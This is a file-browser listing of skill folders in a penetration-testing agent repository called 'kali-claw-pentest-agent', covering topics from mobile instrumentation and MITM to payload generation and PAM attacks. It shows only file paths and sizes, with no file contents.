  • kali-claw-pentest-agent/skills/mcp-server-patterns/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mcp-server-patterns/evidence/2026-09-08/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mcp-server-patterns/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mcp-server-patterns/guides/mcp-protocol-debugging-guide.mdmarkdown · 13.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mcp-server-patterns/guides/mcp-server-deployment-guide.mdmarkdown · 12.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mcp-server-patterns/guides/mcp-tool-implementation-guide.mdmarkdown · 12.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mcp-server-patterns/guides/mcp-tool-security-patterns-guide.mdmarkdown · 12.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mcp-server-patterns/guides/security-mcp-server-design.mdmarkdown · 17.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mcp-server-patterns/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mcp-server-patterns/payloads.mdmarkdown · 51.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mcp-server-patterns/test-cases.mdmarkdown · 27.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mobile-app-instrumentation/SKILL.mdmarkdown · 41.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mobile-app-instrumentation/evidence/2026-09-04/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mobile-app-instrumentation/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mobile-app-instrumentation/evidence/2026-09-08/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mobile-app-instrumentation/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mobile-app-instrumentation/guides/mobile-app-instrumentation-ios-android-deep.mdmarkdown · 56.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mobile-app-instrumentation/guides/mobile-app-instrumentation-playbook.mdmarkdown · 25.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mobile-app-instrumentation/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mobile-app-instrumentation/payloads.mdmarkdown · 38.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mobile-app-instrumentation/test-cases.mdmarkdown · 21.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mobile-security/SKILL.mdmarkdown · 13.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mobile-security/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mobile-security/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mobile-security/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mobile-security/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mobile-security/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mobile-security/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mobile-security/guides/integrity_failures_complete_guide.mdmarkdown · 11.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mobile-security/guides/mobile-api-security-testing.mdmarkdown · 24.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mobile-security/guides/mobile-cloud-integration.mdmarkdown · 23.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mobile-security/guides/mobile_security_complete_guide.mdmarkdown · 12.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mobile-security/guides/react-native-flutter-security.mdmarkdown · 20.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mobile-security/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mobile-security/payloads.mdmarkdown · 28.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mobile-security/test-cases.mdmarkdown · 11.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/multi-agent-collaboration/SKILL.mdmarkdown · 16.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/multi-agent-collaboration/evidence/2026-09-04/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/multi-agent-collaboration/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/multi-agent-collaboration/evidence/2026-09-08/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/multi-agent-collaboration/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/multi-agent-collaboration/guides/agent-communication-protocols-guide.mdmarkdown · 14.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/multi-agent-collaboration/guides/agent-failure-handling-and-recovery-guide.mdmarkdown · 20.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/multi-agent-collaboration/guides/conflict-resolution-consensus-guide.mdmarkdown · 18.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/multi-agent-collaboration/guides/coordinated-pentest-playbook.mdmarkdown · 20.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/multi-agent-collaboration/guides/task-decomposition-delegation-guide.mdmarkdown · 15.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/multi-agent-collaboration/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/multi-agent-collaboration/payloads.mdmarkdown · 50.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/multi-agent-collaboration/test-cases.mdmarkdown · 30.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/multi-agent-runtime-engineering/SKILL.mdmarkdown · 37.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/multi-agent-runtime-engineering/evidence/2026-08-09/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/multi-agent-runtime-engineering/evidence/2026-08-09/summary.mdmarkdown · 2.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/multi-agent-runtime-engineering/evidence/2026-09-08/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/multi-agent-runtime-engineering/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/multi-agent-runtime-engineering/guides/multi-agent-runtime-engineering-playbook.mdmarkdown · 29.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/multi-agent-runtime-engineering/guides/quick-reference-card.mdmarkdown · 8.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/multi-agent-runtime-engineering/guides/real-world-incident-case-studies.mdmarkdown · 43.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/multi-agent-runtime-engineering/guides/usage-and-assessment-zh.mdmarkdown · 8.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/multi-agent-runtime-engineering/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/multi-agent-runtime-engineering/payloads.mdmarkdown · 102.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/multi-agent-runtime-engineering/test-cases.mdmarkdown · 30.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-pentest/SKILL.mdmarkdown · 19.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-pentest/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-pentest/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-pentest/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-pentest/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-pentest/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-pentest/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-pentest/guides/2026-03-22-reporting-tools.mdmarkdown · 6.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-pentest/guides/2026-03-22-sniffing-spoofing-tools.mdmarkdown · 12.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-pentest/guides/2026-03-22-system-services-tools.mdmarkdown · 10.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-pentest/guides/FINAL_LEARNING_REPORT.mdmarkdown · 4.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-pentest/guides/comprehensive_pentest_demo.shcode · 6.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-pentest/guides/lateral-movement-techniques-guide.mdmarkdown · 4.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-pentest/guides/network-pivot-guide.mdmarkdown · 4.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-pentest/guides/pivoting-tunneling-guide.mdmarkdown · 8.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-pentest/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-pentest/guides/wireless-network-attack-guide.mdmarkdown · 3.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-pentest/payloads.mdmarkdown · 37.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-pentest/test-cases.mdmarkdown · 12.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-sniffing-mitm/SKILL.mdmarkdown · 19.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-sniffing-mitm/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-sniffing-mitm/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-sniffing-mitm/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-sniffing-mitm/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-sniffing-mitm/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-sniffing-mitm/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-sniffing-mitm/guides/ettercap-bettercap-mitm-attack-guide.mdmarkdown · 9.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-sniffing-mitm/guides/responder-mitm6-credential-harvesting-guide.mdmarkdown · 13.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-sniffing-mitm/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-sniffing-mitm/guides/wireshark-tshark-protocol-analysis-guide.mdmarkdown · 11.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-sniffing-mitm/payloads.mdmarkdown · 33.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-sniffing-mitm/test-cases.mdmarkdown · 21.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-tunneling-proxy/SKILL.mdmarkdown · 25.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-tunneling-proxy/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-tunneling-proxy/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-tunneling-proxy/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-tunneling-proxy/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-tunneling-proxy/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-tunneling-proxy/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-tunneling-proxy/guides/dns-icmp-covert-tunnel-deep-dive.mdmarkdown · 12.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-tunneling-proxy/guides/dns-icmp-covert-tunnel.mdmarkdown · 17.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-tunneling-proxy/guides/ipv6-tunneling-guide.mdmarkdown · 16.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-tunneling-proxy/guides/pivoting-double-pivot-guide.mdmarkdown · 16.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-tunneling-proxy/guides/proxy-chain-evasion-guide.mdmarkdown · 12.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-tunneling-proxy/guides/socks-proxy-chain-traffic.mdmarkdown · 18.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-tunneling-proxy/guides/ssh-http-tunneling-pivoting.mdmarkdown · 17.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-tunneling-proxy/guides/tunnel-detection-evasion-guide.mdmarkdown · 24.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-tunneling-proxy/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-tunneling-proxy/payloads.mdmarkdown · 25.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/network-tunneling-proxy/test-cases.mdmarkdown · 16.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/open-banking-attack/SKILL.mdmarkdown · 20.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/open-banking-attack/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/open-banking-attack/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/open-banking-attack/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/open-banking-attack/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/open-banking-attack/guides/open-banking-attack-playbook.mdmarkdown · 15.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/open-banking-attack/guides/real-world-incident-case-studies.mdmarkdown · 16.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/open-banking-attack/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/open-banking-attack/payloads.mdmarkdown · 35.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/open-banking-attack/test-cases.mdmarkdown · 18.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/osint/SKILL.mdmarkdown · 19.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/osint/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/osint/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/osint/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/osint/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/osint/guides/2026-03-21-information-gathering-tools.mdmarkdown · 14.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/osint/guides/OSINT-Enterprise-Pentest-Case-Study.mdmarkdown · 21.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/osint/guides/OSINT_TOOLS_GUIDE.mdmarkdown · 14.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/osint/guides/automated-osint-pipeline-guide.mdmarkdown · 22.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/osint/guides/corporate-recon-guide.mdmarkdown · 23.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/osint/guides/dark-web-intelligence-guide.mdmarkdown · 17.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/osint/guides/data-aggregation-analysis-guide.mdmarkdown · 25.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/osint/guides/information-gathering-cli-reference.mdmarkdown · 20.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/osint/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/osint/payloads.mdmarkdown · 31.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/osint/test-cases.mdmarkdown · 13.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/pam-privilege-attack/SKILL.mdmarkdown · 33.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/pam-privilege-attack/evidence/2026-08-09/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/pam-privilege-attack/evidence/2026-08-09/summary.mdmarkdown · 0.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/pam-privilege-attack/evidence/2026-08-15/backdoor_pam.ccode · 1.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/pam-privilege-attack/evidence/2026-08-15/pam-audit-findings.txtcode · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/pam-privilege-attack/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/pam-privilege-attack/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/pam-privilege-attack/guides/pam-privilege-attack-playbook.mdmarkdown · 35.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/pam-privilege-attack/guides/practical-validation-2026-08-15.mdmarkdown · 6.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/pam-privilege-attack/guides/usage-and-assessment-zh.mdmarkdown · 5.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/pam-privilege-attack/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/pam-privilege-attack/payloads.mdmarkdown · 79.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/pam-privilege-attack/test-cases.mdmarkdown · 33.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/password-attack/SKILL.mdmarkdown · 15.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/password-attack/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/password-attack/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/password-attack/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/password-attack/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/password-attack/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/password-attack/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/password-attack/guides/2026-03-21-password-attack-tools.mdmarkdown · 5.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/password-attack/guides/credential-stuffing-automation-guide.mdmarkdown · 6.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/password-attack/guides/hash-identification-cracking-guide.mdmarkdown · 4.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/password-attack/guides/hashcat-rules-guide.mdmarkdown · 4.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/password-attack/guides/password-attack-cli-reference.mdmarkdown · 12.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/password-attack/guides/password-policy-audit-guide.mdmarkdown · 5.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/password-attack/guides/password-spray-techniques-guide.mdmarkdown · 7.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/password-attack/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/password-attack/payloads.mdmarkdown · 28.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/password-attack/test-cases.mdmarkdown · 11.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/patch-to-poc-pipeline/SKILL.mdmarkdown · 35.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/patch-to-poc-pipeline/evidence/2026-08-17/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/patch-to-poc-pipeline/evidence/2026-08-17/summary.mdmarkdown · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/patch-to-poc-pipeline/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/patch-to-poc-pipeline/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/patch-to-poc-pipeline/guides/patch-to-poc-pipeline-playbook.mdmarkdown · 16.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/patch-to-poc-pipeline/guides/real-world-incident-case-studies.mdmarkdown · 34.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/patch-to-poc-pipeline/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/patch-to-poc-pipeline/payloads.mdmarkdown · 58.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/patch-to-poc-pipeline/test-cases.mdmarkdown · 26.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/payload-generation/SKILL.mdmarkdown · 21.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/payload-generation/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/payload-generation/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/payload-generation/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/payload-generation/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/payload-generation/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/payload-generation/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/payload-generation/guides/cross-platform-payload-guide.mdmarkdown · 22.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/payload-generation/guides/msfvenom-payload-generation-guide.mdmarkdown · 16.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/payload-generation/guides/payload-delivery-evasion-guide.mdmarkdown · 18.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/payload-generation/guides/payload-delivery-techniques-guide.mdmarkdown · 12.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/payload-generation/guides/payload-encoding-encryption-guide.mdmarkdown · 26.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/payload-generation/guides/payload-testing-validation-guide.mdmarkdown · 13.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/payload-generation/guides/reverse-shell-complete-guide.mdmarkdown · 14.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/payload-generation/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/payload-generation/guides/web-shell-generation-guide.mdmarkdown · 20.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/payload-generation/payloads.mdmarkdown · 35.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/payload-generation/test-cases.mdmarkdown · 14.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/payment-security/SKILL.mdmarkdown · 30.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/payment-security/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/payment-security/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/payment-security/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/payment-security/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/payment-security/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/payment-security/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/payment-security/guides/p2pe-hardware-assessment-playbook.mdmarkdown · 33.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/payment-security/guides/payment-pentest-playbook.mdmarkdown · 30.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/payment-security/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/payment-security/payloads.mdmarkdown · 34.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/payment-security/test-cases.mdmarkdown · 27.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/pentest-reporting/SKILL.mdmarkdown · 10.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/pentest-reporting/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/pentest-reporting/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/pentest-reporting/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/pentest-reporting/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/pentest-reporting/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/pentest-reporting/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/pentest-reporting/guides/dradis-faraday-reporting.mdmarkdown · 7.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/pentest-reporting/guides/evidence-collection.mdmarkdown · 9.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/pentest-reporting/guides/password-audit-reporting.mdmarkdown · 12.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/pentest-reporting/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/pentest-reporting/payloads.mdmarkdown · 41.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/pentest-reporting/test-cases.mdmarkdown · 19.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/physical-security-testing/SKILL.mdmarkdown · 50.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/physical-security-testing/evidence/2026-08-17/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/physical-security-testing/evidence/2026-08-17/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/physical-security-testing/evidence/2026-09-07/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

